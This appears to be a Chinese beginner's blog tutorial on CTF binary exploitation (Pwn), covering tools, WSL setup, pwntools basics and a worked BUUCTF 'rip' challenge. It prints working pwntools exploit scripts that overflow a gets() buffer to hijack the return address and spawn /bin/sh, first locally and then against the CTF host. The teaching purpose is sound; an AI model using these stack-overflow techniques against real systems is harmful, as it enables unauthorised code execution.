1962 字
10 分钟
阅读量 --
Hits
Pwn从0到0.00001
2021-12-13

Pwn 的简介#

Pwn 是 CTF 方向中的一种,主要是利用二进制漏洞从而获得 getShell (提权),即获得对方系统权限,从而控制对方电脑。 Pwn 是一个黑客语法的俚语词,自”own” 这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的 情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:“You just got pwned!”)。

名词储备:writeup(指 CTF 中解题思路过程的文档),exp(exploit,指漏洞利用程序),栈,汇编,Linux 等

Pwn 的理论工具准备#

初学#

工具#
  1. Python 2.x 至于为什么不用 python3 后面会讲到
  2. Linux Windows 用户推荐 wsl2 或虚拟机,MacOS 不太清楚
  3. IDA pro 一个逆向分析工具
  4. Pwntools 一个漏洞利用框架工具
  5. checksec ELF 保护分析工具
储备知识#
  1. C 语言
  2. 基础 Python2 语言,及库的用法
  3. 源 / 伪代码阅读和 BUG 漏洞寻找能力
  4. 基础 Linux 命令

以上可以进行简单的栈溢出的学习

入门#

工具#
  1. pwndbg gdb 动态调试插件
  2. Libcsearcher 集成 libc 查找工具
  3. one_gadget 一句话提权指令搜索工具
  4. ROPgadget rop 指令流搜索
储备知识#
  1. C/C++ 语言
  2. 基础 Python2 语言,及库的用法
  3. ELF 文件结构
  4. 深度理解计算机系统(CSAPP)初步

加上以上的可以更方便的学习进阶栈溢出、堆利用等知识

Pwn 的学习#

初学 - 从 Writeup 中学习#

网站推荐

  1. Xctf 攻防世界 站内内置 writeup,但最近 pwn 环境无法分发
  2. Bugku pwn 环境可以分发,但需要自行查找 writeup,题量少
  3. buuctf pwn 环境可以分发,有 N1BOOK 配套习题(但好像环境坏了?),比赛真题,题量大,但需要自行查找 writeup

入门 - 从比赛中学习#

参加比赛,利用比赛同时练习技术,这样可以更好的抓住比赛的中 pwn 的热点,也可以培养随机应变的能力。

Pwn 的环境准备#

由于没有尝试过 MacOS 上 pwn 所以只有 Windows 的教程

Windows#

  1. 安装 WSL2(子系统) https://docs.microsoft.com/zh-cn/windows/wsl/install-win10
  2. 在 WSL 中安装 Python2 https://www.cnblogs.com/dancesir/p/14201267.html
  3. 在 WSL 中安装 pwntools 等库https://docs.pwntools.com/en/latest/install.html
  4. 在 WSL 中安装 checksec https://www.cnblogs.com/luocodes/p/13894106.html
  5. 选择一个你喜欢的 IDE,强推VSCode
在 Vscode 中配置 Pwn 中环境#

安装 Remote - WSL 插件

11111 即可可切换成 Ubuntu 终端 ssss

在 Vscode 中 Pwn#

1. 右键 - 在 Vscode 中打开文件夹

在Vscode中打开文件夹 2. 左下角点击 >< 旋转 Reopen Folder in WSL (这个尝试过编写 exp 时没有代码提示,可以在 windows 上先装 python2 和 pwntools,在 windows 上编写 exp,然后再 Linux 上运行,即跳过此步骤) 在这里插入图片描述 reopen

3. 新建一个 exp.py exp 4. 开始书写你的脚本 ok

Pwntools 的学习#

官方文档https://docs.pwntools.com/en/latest/intro.html

简易快速入门#

导入 Pwntools from pwn import * 链接 r = remote("目标地址str类型", 目标端口int类型)与服务器交互 r = process("目标程序位置")与本地程序交互 构造 playload 之打包 p64(int)将 int 类型打包成 64 位存储 p32(int)将 int 类型打包成 32 位存储 发送 r.sendline(playload)发送 playload 为一行(自动在尾部加上 \n) 接收 r.recv()接收到结束 r.recvuntil(end, drop=True)end (str) 接受到 end 之后截至,drop=True 时不包括 end,drop=False 时包括 end 打开交互 r.interactive()一般在末尾都要加

Pwn 的做题流程#

  1. 使用 checksec 检查 ELF 文件保护开启的状态
  2. IDApro 逆向分析程序漏洞(逻辑复杂的可以使用动态调试)
  3. 编写 python 的 exp 脚本进行攻击
  4. (若攻击不成功)进行 GDB 动态调试,查找原因
  5. (若攻击成功)获取 flag,编写 Writeup 注:此做题流程并不完全概括,需要具体情况具体分析

Pwn 的简单例子#

题目来源【BUUCTF PWN】rip

checksec#

在这里插入图片描述 64 位,导入 IDA 64,找到 main 函数,按 F5 或是 Tab

分析函数及漏洞#

main 函数#

main main 函数中存在 gets (无限读入字符串漏洞),没有开 canary 可以自由栈溢出 双击 s 变量,进入 main 函数栈区 stack 发现 s 参数位置距离 main 函数返回地址距离是 0xF+0x8 个字节 (位于 000000000 处的 s 是存上一个 ebp 的值,用于恢复上一个函数,位于 0000000008 处的 r 是这个函数的返回地址) 只需要覆盖返回地址 r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完 main 就执行我们想要的函数(这个题目就是 fun 函数)。

fun 函数#

fun system 函数可以执行命令,/bin/sh 是执行 Linux 的命令行程序,也就是可以 getshell(提权) 按 Tab+Space aa 查看 fun 函数的开始地址(图中 0x0401186 位置)

编写 exp#

from pwn import *
r = process('./pwn1') # 调试时使用本地链接
p1 = "a"*(0xf + 0x8) + p64(0x0401186)
# 覆盖到r前面之后,将0x0401186打包,覆盖main函数返回地址
r.sendline(p1) # 发送playload
r.interactive() # 开启交互

运行 000 并没有打通 需要平衡栈帧(初学可以跳过这个,直接记住结论) 即需要多 return 一次 x86 汇编中 ret 的指令类似于 先 pop(弹出)一个值然后 jmp(跳转)到这个值的位置继续执行 所以寻找一个 ret 的地址 ret 在 main 函数的结尾就有个 retn 故修改 exp

from pwn import *
r = process('./pwn1') # 调试时使用本地链接
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
# 覆盖到r前面之后,先覆盖main函数返回地址为retn,再将0x0401186打包,覆盖retn的返回地址
r.sendline(p1) # 发送playload
r.interactive() # 开启交互

show 发现ls(linux 中查看当前文件夹内容的命令) 命令可以执行 再修改 exp 链接靶机

from pwn import *
r = remote("node3.buuoj.cn", 29885) # 正式攻击时与靶机交互
# r = process('./pwn1')
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
r.sendline(p1)
r.interactive()

再次运行 sss 获取 flag cat(linux 中直接输出文件内容的命令) 到此就可以庆祝一下提交 flag 了

编写 Writeup#

提交完 flag 之后别忘了编写 Writeup,Writeup 是指记录解题思路的文档,一个小队开一个公共编辑的文档,一旦做出来题目就要将解题思路、exp、部分截图写入文档,因为一般赛事最后需要提交 Writeup,以确保你不是 py 得到的 flag

Pwn 的常见漏洞#

栈溢出#

  1. gets();无限字符读入 \n 停止
  2. scanf("%s");无限字符读入 \n 停止
  3. read(0,buf,0x200);buf 位置到返回地址距离小于 0x200

数组下标溢出#

  1. 没有判断上界或下界,配合读入或输出,可以任意位置读入或输出

格式化字符串#

  1. 主要利用printf的格式化字符串漏洞,实现栈区内读写

堆利用#

  1. UAF(Use After Free)
  2. 劫持__malloc_hook
  3. 修改__IO_1_2_stdout

小结#

  1. 学习 Pwn 不仅有利于网安方向的同学,还有利于搞开发等同学,因为可以接触更加底层的东西,提高自己网络安全意识
  2. 刚开始学习 Pwn 是摸着黑,照猫画虎的,只有不断的理解原理才能独立想出解题方法
  3. 为什么不使用 Python3?因为这是个坑,我刚开始尝试的是后就因为 python3 多了个 bytes 类型,导致 p64 () 的结果不能直接与 str 相加,而其中有很多不可见字符,最终放弃了 Python3。Python2 中 bytes 值以 str 形式存储的可以直接与 str 相加。
  4. Pwn 的世界错综复杂,我依然还在摸索,一起加油。
Pwn从0到0.00001
https://blog.csome.cc/p/Pwn-zero2something/
作者
Csome
发布于
2021-12-13
许可协议
CC BY-SA 3.0